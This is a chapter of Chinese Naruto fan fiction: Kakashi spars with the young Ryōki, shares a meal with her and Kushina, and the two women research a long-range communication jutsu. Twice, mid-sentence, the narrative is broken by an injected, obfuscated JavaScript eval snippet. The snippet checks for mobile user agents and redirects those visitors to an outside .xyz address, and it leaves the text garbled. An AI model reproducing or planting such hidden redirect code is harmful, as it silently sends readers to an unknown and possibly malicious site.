剧烈的狂风席卷着数个手里剑狠狠地撞到土墙上,却也只撞出数道裂纹。凉纪正准备换一个忍术,忽然,哗啦一声,土流壁自行崩解,其后出现了卡卡西的忍术——【火遁·豪火球之术!】 火克风,卡卡西选择火遁进攻凉纪,这样她很难用忍术反击。 风助火势,火焰将风遁反压回去,覆盖了大半个练习场,滚滚热浪让空气都有些扭曲。浓烟中看不见人影,在这样的大火中,不管是人还是影分身都无法留存。 她现在人在哪里? 卡卡西侧身,用苦无挡住了朝他袭来的另一柄苦无——是凉纪。她绕开了豪火球之术,近身朝旗木卡卡西攻去。 苦无叮叮当当交战了好几个回合,凉纪体术终究还是不如卡卡西。在凉纪露出破绽的一瞬,卡卡西提膝撞向凉纪的小腹,就在这时,从还冒着黄烟的曾施展过豪火球之术的场地上,一个头发燎着、身体布满灼伤的凉纪趁卡卡西攻击之时向他射出了手里剑!同时,她再次使出了风遁·烈风掌! 一般人不会选择躲在火中,但想要击败卡卡西这个级别的对手,必须采取非同寻常的办法。 为了埋伏起来寻找合适的时机进攻,凉纪本体隐藏在豪火球之术的火焰和浓烟后,用阳遁查克拉强行抵挡火遁的高温和灼热,派出影分身去攻击卡卡西。 在这样的情形下,他很可能会以为影分身就是本体。等到影分身吸引了卡卡西的注意力,凉纪本体趁这个空隙进行攻击。 并非生死关头,只是普通对决而已,仍旧选择用火来掩藏自己吗……她对自己还挺狠的。卡卡西现在的姿势难以结印用土流壁抵挡烈风掌,他只能后退一步,使出了最简单的土遁——心中斩首之术潜入地下。 尽管玖辛奈事先没有和卡卡西说过凉纪的事,但看凉纪的发色,她很可能和玖辛奈一样,是感知忍者。她能够发现自己在地下的什么位置。 所以,卡卡西从地下升起前,控制着泥土在身体周围形成一个圆锥状的土罩。 围在卡卡西周围拿着手里剑的凉纪和影分身无法透过土罩进攻卡卡西,只能开始结印试图用风遁攻破土罩。按照之前的经验,烈风掌难以起到作用,凉纪准备使用风切之术,切开土罩。 然而,在印结好前,土罩崩解,土块向四面八方迸射而出。 凉纪和影分身只得暂停施术,向后飞退。 这一次,卡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16375524|184034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卡西能清楚判断出哪个是本体。他用瞬身之术穿过飞溅的土块,来到凉纪的身侧,握住凉纪的手腕往前一拉,让她失去平衡,阻止她继续施展忍术。随后,他握住凉纪的另一只手,将凉纪的双手反剪在身后。 “你输了。” “我知道。” “现在该结和解之印了。”玖辛奈走进满是烟尘的练习场,笑着提醒道。 卡卡西放开凉纪,等凉纪站起身来后,伸出手和她结下和解之印。 “非常感谢您今天的指教。不知您是否可以指点我,最后您是怎么确定我是本体呢?”凉纪收回右手问道。 “说话不用这么客套。是味道。施放豪火球的时候,我可以确定土流壁后面除了我以外没有其他人,所以你的本体和其他影分身都在豪火球之术的范围内。尽管你避免了大的伤害,但还是受到灼伤,而影分身不可能在这个术下存活。也就是说,只有本体有烧焦的味道和隐约的血腥味。之后,虽然你让新的影分身和自己一样有着被灼伤的外表,但她们身上毕竟没有焦糊味。” “谢谢,今天的对练让我获益良多。对于之前的出言不逊,我必须向您道歉。您绝不是名不副实。” “不用道歉。谎言从不伤人,真相才是快刀。” 凉纪疑惑地看着卡卡西,不明白他的意思。 卡卡西却没有解释,只是对漩涡玖辛奈说道:“这就够了吧?” 玖辛奈找不到什么挽留的借口,只能说:“已经足够了。” 自己让凉纪和卡卡西对战,是不是弄巧成拙了呢? 担心……这是玖辛奈体现出的情绪。她不想让卡卡西离开。凉纪感知到了。 她上前一步,对卡卡西说道:“为了表现我的感谢和歉意,中午让我请您吃饭吧。去……”凉纪看了玖辛奈一眼。 “去多味屋!”漩涡玖辛奈连忙说道。 “好。不过距离饭点还有几个小时,等到12点我们在多味屋碰面吧。”卡卡西说完,就要离开训练场。 玖辛奈有些忧虑地看着他,却没做什么,只是沉默地放行。 在与卡卡西擦肩而过时,玖辛奈却听到他轻声说了句:“对不起让您担心了。谢谢。” 凉纪伸手指了指卡卡西,做出口型:“还要不要再留一下?” 漩涡玖辛奈嘴角扬起笑容,无声地摇了摇头。 - 木叶墓地中,旗木卡卡西将一束捧花放在琳的墓碑前。 琳,尽管拥有带土给我的写轮眼,我却还是没能发现你的异常之处。我是个废物,是个懦夫,是个无法接受是我杀了你这个事实的胆小鬼。 我甚至不敢参加你的葬礼。 但如果一个素未谋面的小女孩,仅仅为了减轻玖辛奈前辈对我的担忧,就有和上忍对战、直面火遁袭击的勇气,那我也没有理由让关心我的人心痛。 我手上沾染着的你的鲜血,永远也洗不干净。但哪怕是勉强自己,为了你、带土、水门老师、玖辛奈前辈和其他一直关怀着我的人,我也要继续向前行。 卡卡西面对着琳的墓碑,沉默良久,终于转身往回走。 但是经过带土的墓时,他停住了。 带土,如果你知道琳死在我手上,死在你赠与写轮眼的人手上,死在向你承诺一定会保护好她的人手上,你会怎么做?会后悔送了我这个礼物吗? - 多味屋饭店内的一张餐桌边,漩涡玖辛奈生气又担忧地说道:“卡卡西已经迟到30分钟了,怎么还没到?” 玖辛奈不喜欢用感知忍术窥探其他人的踪迹,会把感知范围限制到周身,因此在她身边时,凉纪也一般也不大范围使用感知忍术,所以她们现在都不知道卡卡西的位置。 “要不要我用神乐心眼去找他?”凉纪提议。 “不用,我已经到了。”从饭店门口走进来的卡卡西拉开餐桌边的椅子,坐了上去。 “卡卡西,你怎么迟到这么久?”玖辛奈不满地说。 卡卡西用他那无神的死鱼眼看着漩涡玖辛奈,说道:“大概,我在人生的道路上迷了路吧。” 17. 礼物 在等待上菜的过程中,卡卡西对凉纪说:“虽然我们已经打了一场,但我现在还不知道你的身份。” 和玖辛奈老师一样的红发,是漩涡一族的遗民吗?卡卡西暗自思忖。 凉纪看了一眼玖辛奈,又重新看回卡卡西,说道:“我是玖辛奈老师的族人,现在住在木叶孤儿院,平时会到玖辛奈前辈这里来学习忍术。” 果然是同族…… 因为忍者的职业惯性,卡卡西克制不住地联想到,凉纪也有充当人柱力容器的资格吗?在琳的事件后,水门告诉了他人柱力相关事宜,他也从而得知玖辛奈是木叶的人柱力。 不,更换下一任人柱力的时间还有很久,不管凉纪有没有资格,这恐怕和她都没有关系。 凉纪回话之后,三人都没有再说话,空气中只余一片沉默。 要说些什么好呢……玖辛奈心念电转,正要开口,凉纪却先发声了。 凉纪不知道为什么来饭店之后,玖辛奈和卡卡西都不说话。玖辛奈留下卡卡西,应该不只是为了看他被面罩和护额遮住,只剩一只眼睛的脸。 玖辛奈想不出话题吗?凉纪可以帮她想。 “你的假期是5天吗?” “什么假期?”卡卡西一愣。 “丧假。之前遇到凯前辈,他和他的队友因为丧假休息了5天。” “没有假期。队友的死亡是不放假的。” “那为什么你现在没有任务?” “……” 半晌后,卡卡西答道:“我打算下午去三代目大人那里领取任务。” 沉默。又是尴尬的沉默。玖辛奈现在也不知道该说什么好。 好在没多久,店家上菜了。筷子与餐盘交错的声音,略微遮掩了寂静。 其中有两道是盐烧秋刀鱼和味增汁茄子,这是卡卡西喜欢的食物,很明显是玖辛奈刻意点的。 他心想,玖辛奈为了让他打起精神来可是煞费苦心,自己得让她安心。 目光从玖辛奈转向凉纪,卡卡西开口了:“你头发剪短了。是因为上午的比试吧。” 凉纪用手捋了捋她的红发,因为被火遁烧焦了一些,凉纪的头发从与下巴平齐的长度剪短到刚刚过耳。 “哦,是我自己剪的。”凉纪不在意地说道。 玖辛奈笑着说道:“本来还想带凉纪去理发店的,结果凉纪直接用风属性查克拉把头发切断了。” 凉纪沉思着说:“会不会光头要更好?不用担心头发被点燃。” 卡卡西死鱼眼:“你还想再冲到火遁下面吗?” “火遁毕竟是常用的遁术,以后也会经常见到。” “就算头发不被点燃,头皮也会被烧伤。这样还不如留着头发,至少有一层防护。再说了,比起冲到火遁里面,一般是会用其他遁术防御吧。” “说得也是。” 凉纪一边说着,一边夹起一块肉往口里塞去。她随口问道:“你的面罩不摘下来吗?” “不用,我已经吃完了。” 凉纪有些惊讶地看向卡卡西的碗,仿佛只是眨眼间,他碗里便已经吃得干干净净,只余一些酱汁残留。 他到底是什么时候吃的饭?这就是木叶上忍的真实速度吗? 凉纪肃然起敬。 “这个速度比上午和我对战时的速度快得多。上午你放水了吧。” 卡卡西的死鱼眼微微弯起:“原来你认为我动了真格。” 凉纪不服气地以自己最快的速度干完饭,把筷子“啪”地放在碗边:“我们还可以再比一场。” 卡卡西揉了揉凉纪像红蘑菇一样的发型:“你还是再练练基础吧,不然你就真的得剃光头了。” 他看向玖辛奈:“我打算回到前线,战争还没有结束,我还得继续为了在木叶生活的人战斗。下次再见到你们,恐怕得是几个月之后了,这就算是我的送行宴吧。” “你这话说得好像要回不来一样。”凉纪说着,从怀里掏出一个钱包,数了数说道,“要不要再来一些?战场上就只有干粮和兵粮丸,没有热饭热菜了。” 因为工资月结,现在凉纪手上只有四号挣来的零散的导游费,着实不多。不过请卡卡西一顿还是够的。 卡卡西看着凉纪干瘪的钱包。 他是让6岁小女孩破费的人吗? 他是。 卡卡西对着服务员招手道:“小姐,再加道菜!” 饭后,卡卡西对着凉纪双手合十:“感谢款待。”他的身影“唰”的就不见了。 凉纪抖了抖自己的钱包,只剩下几个钢镚了。忍者的胃口可真是大啊。 玖辛奈失笑道:“凉纪,等下我把费用补给你吧。如果不是我,你也不用花这么多钱。” 凉纪摇摇头:“不用。上次你请我吃了烤肉,我本来就打算回请,这次时机正好。” 回到漩涡一族的祠堂,凉纪正准备继续和玖辛奈学习忍术,却见玖辛奈拿出一袋衣服:“凉纪,吃饭的时候我让影分身去给你买了一套衣服,你看喜不喜欢?” 玖辛奈知道凉纪不会浪费时间逛街挑选,干脆直接自己买了。 这是一件素色的色无地,棠棣黄的织布上印有银色的暗纹,和凉纪常穿的黑褐色麻衣不同,给人以明丽的感觉。 玖辛奈老师……给自己买了礼物?凉纪有些呆愣地把新衣服换上。 在凉纪换好衣服后,玖辛奈把她推到穿衣镜前:“觉得怎么样?我觉得颜色很衬你的眼睛。女孩子不要老是穿得老气横秋的,偶尔也需要打扮一下。” 镜中,系成文库结的名古屋带束缚出凉纪在这个年纪并不明显的腰身,细腻而光滑的布料上,一道道暗纹勾勒出的鹅黄色棠棣花包裹着凉纪,美丽、柔软、易落。凉纪仿佛金色锆石般略带无机质的眼睛,也在这明亮的黄色中显得柔和起来。 凉纪看着自己的倒影。 她没有穿过这种不方便战斗的衣服,不过服装不方便什么的,应该只是无能者的借口。 真正拥有强大力量的人,是不会在意穿什么服装的。 她对着镜子里的搭着她肩膀的玖辛奈说道:“也不错。” - 因为上午和卡卡西对战,今天凉纪上午下午的课程对换了,下午学习的是文化课和封印术。 来到玖辛奈的书房,凉纪对玖辛奈说道:“玖辛奈老师,水门大人已经奔赴前线了,他应该也像卡卡西前辈一样,很少能回村吧。” “是这样的。虽然水门有飞雷神可以快速在战场和村里穿梭,但为了避免浪费查克拉,也为了避免回村时战场有突发情况,他不会在其他同伴还在前线时无故回村。除非必要,他只会留在战场。” “无法相见的日子里,玖辛奈老师一直思念着水门前辈吧。我想和玖辛奈老师一起研发一个可以远距离通信的封印术,这样的话,哪怕彼此分隔两地,也随时可以互相交流,吐露心意。” 听到“吐露心意”这个词,玖辛奈有些脸红:“怎么突然想到要研发这个?而且这种封印术可是很难的,不然其他人早就研发出来了。” “孤儿院的人和我说,想要和一个人关系更进一步,可以多帮帮她的忙,也可以送她一份礼物。我想要帮上玖辛奈老师的忙,也想要送玖辛奈老师一份礼物。” 在窗外斜射进来的阳光的照耀下,凉纪隐有光芒流转的金色双眸聚焦在玖辛奈身上,倒映出她的影子:“我想回报你的心意。” - 其实玖辛奈对于通信之术的需求并不大,但既然凉纪有这个意愿,她也不会打击孩子的想要帮忙的心情。 而且,在研究过程中,凉纪应该也能学到很多。 “好,那就决定了,超长距离传信研究计划,现在开始!”玖辛奈一向是行动干脆的人。 “长距离传信最好的方案是收信方能实时接收传信方的留言。目前已有的忍术有原理类似的。”漩涡玖辛奈思索着,“山中一族有秘术可以把自己的所见所想传给感知范围内的忍者,不过这毕竟是他们的秘术,我们没办法学习,我只知道大概原理,那就是把查克拉灌注在意识中,像声呐一样传播出去,接触到其他人的查克拉后,就可以把信息传给联系到的人。 “这个秘术的不足在于只能传送给感知范围内的人,同时距离越远,消耗的查克拉量越大。” 凉纪想了想补充道:“按照您的说法,这个术只能实时通话。但水门大人在前线作战期间,我们不了解他的处境,从这边发起通话很有可能干扰到他。而如果从他那边发起通话的话,消耗的查克拉量太大了。最好能研发出能够保留双方留言的术,这样就可以在空闲的时候查看。” “留言的话倒是可以通过通灵兽彼此传信,只是必须要契约同一种忍兽才行。我和水门的通灵兽不同,所以没有用这种方式通信。” 凉纪也知道这点。她现在和雾隐村还有妈妈通信,就是通过通灵之术。凉纪和妈妈约定每隔一周的周一傍晚交换一次情报,和雾隐村则是周五。另外出现紧急情况时也向对方传信,只不过不确定对方什么时候会召唤通灵兽阅读留言。 说起来,下次通信也没几天了。 凉纪不再想这件事,转而思考如何构建通信之术。 她想到了自己曾经开发的影分身通灵之术。 “可以借助影分身。”凉纪说道。 “无论距离多么遥远,影分身消失后都会把记忆传输给本体。如果水门大人能够召唤玖辛奈老师的影分身,和她通话后记忆传输回这边,就相当于通信了。” “这个主意不错。”玖辛奈赞许地说。从零开始构建通讯模型花费的时间太久了,参考已有忍术能大大缩短研究时间。 接下来必须攻克的难点在于,影分身毕竟要消耗至少一半的查克拉,用于通信太奢侈了。 同时,通灵之术一般只用于签订契约的双方,无契约通灵他人的影分身也是难题。 顺带一提,人与人一般是不会签订契约的,要签订也只会签临时契约,因为契约加深了双方的联系,签约之人很可能通过契约对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16375525|184034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 另一方造成不利影响。 凉纪和玖辛奈将每天上午和部分下午的时间都投入到第一个步骤:研究如何减少影分身的消耗。凉纪只能向玖辛奈展露一部分封印术和忍术知识,再加上她年龄太小,本来知识储备就不如玖辛奈,因此研究主力是玖辛奈,凉纪更像是她的助手。 好在凉纪以让玖辛奈十分惊异的程度如同海绵般吸收着那些知识,她也渐渐能在研究中起到更多作用。 很快,又是约定好和妈妈通信的日子。凉纪得到了妈妈的传信:[三代水影无故身死,村内各方势力彼此争斗,情势混乱,九尾夺取计划已被放弃。暂且留在木叶村,伺机寻求飞雷神。] 三代水影怎么突然就死了? 可凉纪不在雾隐村,无法知道具体情报。她担心妈妈会被争夺四代水影之位的战斗波及。 但妈妈毕竟是上忍,自保应该还是无虞的。 忽然,凉纪想到出发时爸爸说的那句“二代水影余孽”。 这会对妈妈有影响吗? 不,在三代还活着的时候,妈妈都没有因此被针对,三代和爸爸都已经去世的现在,就更不会了。 凉纪短暂放下了自己的担忧,只是对妈妈回信:[我在木叶村并未引发怀疑,目前安全无虞。正在研发超长距离传信,以期通信方便。波风水门尚处前线,暂时无法获得飞雷神,拟通过漩涡玖辛奈间接获取。] 虽然最初是为了玖辛奈老师而开发的通信之术,但若是开发成功的话,妈妈那边也可以用吧。这样的话,就能够和妈妈一直通话,而不是像现在这般,只能等待通灵兽的回信。 四天后,是惯例和雾隐村通信的时间。凉纪照常通灵雾隐村的忍鱼,但这一次和以往不一样,忍鱼并没有带来任何传信。看来雾隐村内的混乱已经让他们无法顾及留在外村的间谍了。 他们无法触及,凉纪反而可以暗中发展。只要获得飞雷神,并加强自己的力量,下一次凉纪回雾隐村之日,就是它覆灭之时。 - 早上,凉纪再一次来到玖辛奈的书房。对于这里,她已经很熟悉了。 书桌上堆满了画有术式的卷轴,有一些还掉在了地面。昨天晚上自己回去之后,玖辛奈前辈还继续在研究吗? 玖辛奈看到凉纪进来,兴奋地挥手:“凉纪,我昨天晚上有了灵感,试验了一晚上后有了成果!” 她往前摊开手掌,手心出现一个玖辛奈的迷你小人。她坐在玖辛奈的手上朝凉纪高兴地挥手打着招呼。 玖辛奈和凉纪的研究方向是,保留影分身传递记忆的功能,弱化变为实体、施放忍术的功能。现在,她们终于完成了这一步。 在玖辛奈向凉纪讲述查克拉如何控制和流动后,凉纪也成功召唤了迷你影分身。 迷你影分身可以向本体传输记忆,只不过无法像影分身一样使用忍术,也十分脆弱,用力一捏就会消散。但它所需的查克拉大大下降,仅为影分身之术百分之一的查克拉量,甚至不如普通的分身术。 虽然研究本就在一步步向前推进,成功只是时间问题,但看到真的成功了,凉纪心里也不由得有些欣喜。 “传递记忆的功能还需要远距离测试。我现在召唤通灵兽测试一下。” 玖辛奈说着,施展通灵之术,召唤出一只小蛞蝓。 “拜托你把这两个影分身带到湿骨林,我们要测试下忍术。” “这么小的影分身,我还是第一次见。”蛞蝓一口吞下两个迷你影分身,解除通灵之术回到妙木山去了。 过了一会儿,凉纪和玖辛奈都眼神一变。她们接收到了迷你影分身传来的记忆。玖辛奈振奋地抱起凉纪转了几个圈:“凉纪,我们真的成功了!” 突然被玖辛奈拥入怀,凉纪不知为何感觉有些紧张。她一动不动地陷入玖辛奈怀里,大概是因为转了好几个圈的缘故,她有些晕晕乎乎的。 放下凉纪,玖辛奈兴高采烈地说道:“凉纪,我们进行下一步吧!” 凉纪揉了揉因为被抱得太紧而挤出了红晕的脸:“好。” - 然而,很快她们就失去了研发通信之术的理由。 雾隐村早在三尾袭村计划失败时就撤出了战场。没多久,其他几个国家也纷纷不堪战争重负,准备商议停战。 玖辛奈不用再研发和水门通信的术了。她天天都可以面对面地和水门说话。 又是一个研究封印术的上午。 凉纪对玖辛奈说道:“玖辛奈老师,既然战争结束,水门大人已经回村了,我们的研究……也要结束吗?” 玖辛奈伸出手狠狠揉乱凉纪的头发,笑着说道:“你不想结束的话就直说嘛!再说了,我可不是半途而废的人!” 玖辛奈只以为凉纪是看到了研究出成果的曙光,不想中途放弃。但这个忍术对凉纪有更实际的意义。 通信之术说是要给玖辛奈老师礼物,但其实,这更像是她给我的礼物。凉纪低头用手指梳理好被弄乱的头发,半晌后说道:“那我们继续吧。”